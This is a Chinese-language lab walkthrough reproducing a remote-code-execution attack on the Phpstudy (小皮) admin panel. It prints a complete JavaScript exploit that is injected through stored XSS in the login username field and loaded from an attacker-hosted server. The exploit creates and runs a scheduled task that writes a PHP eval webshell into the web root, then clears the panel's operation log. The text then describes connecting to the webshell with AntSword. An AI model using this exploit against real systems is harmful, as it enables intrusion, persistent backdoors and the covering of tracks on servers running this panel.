靶场资料后台自行领取【靶场】
image-20240726092307252
Phpstudy小皮面板存在RCE漏洞,通过分析和复现方式发现其实本质上是一个存储型XSS漏洞导致的RCE。通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务实现RCE。
image-20240724122800032
image-20240724122752623
这是登录成功的界面
image-20240724094910957
登录成功了就来和大佬们喝喝茶吧~
首先在用户名登录的地方输入XSS代码验证是否存在漏洞
image-20240724101005780
即使输入失败也没有关系
image-20240724101014012
此时再输入正确的密码,成功弹窗
image-20240724101115119
如上图可以看到确实触发XSS弹窗,这是因为整个系统在加载的过程中会读取操作日志的内容,刚刚在用户名处插入的语句就是为了让系统操作日志进行记录以便登录成功之后加载js代码脚本,所以执行显示了登录系统失败。
image-20240724150712294
外链js的**「exp」**
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{
},function(res3){},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="9";
data.title="xxxasdxxxx";
data.exec_cycle="1";
data.week="1";
data.day="4";
data.hour="15";
data.minute = "42";
data.shell='echo "<?php @eval($_POST[123]);?>" > E:/Development/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
在本地(攻击机)使用python开启一个http服务,并且将poc脚本放在服务目录下进行利用。
image-20240724095732542
打开攻击机浏览器看看能不能访问这个poc文件
image-20240724095751467
登录这个靶机,注入payload,链接脚本到你的**「exp」**
image-20240724100754732
这里我们返回就发现新增了一个计划脚本
image-20240724101438988
我们查看网站的根目录,此时已经多了一个php文件
image-20240724095913169
我们复制查看这个网站的绝对路径
image-20240724102205632
修改我们的exp,否则会路径找不到此php一句话木马文件,从而不能执行php文件
image-20240724102250983
我们尝试访问这个站点去执行这个exp,却不能访问
image-20240724124253854
我们进入后台打开nginx/阿帕奇服务器就好了
image-20240724102644633
此时你会发现你访问了这个php, 自动下载了这个文件,并没有执行,说明是纯静态的网页,我们也就使用**「蚁剑」**连接不上了
image-20240724124441834
这个时候我们去网站后台看php版本,没有选择,选择指定的版本并保存就好。
image-20240724103129412
这个时候我们再去访问这个php木马,这个时候就可以直接使用【蚁剑】连接,连接就不演示了(图不小心删了)
image-20240724103147841
喝茶~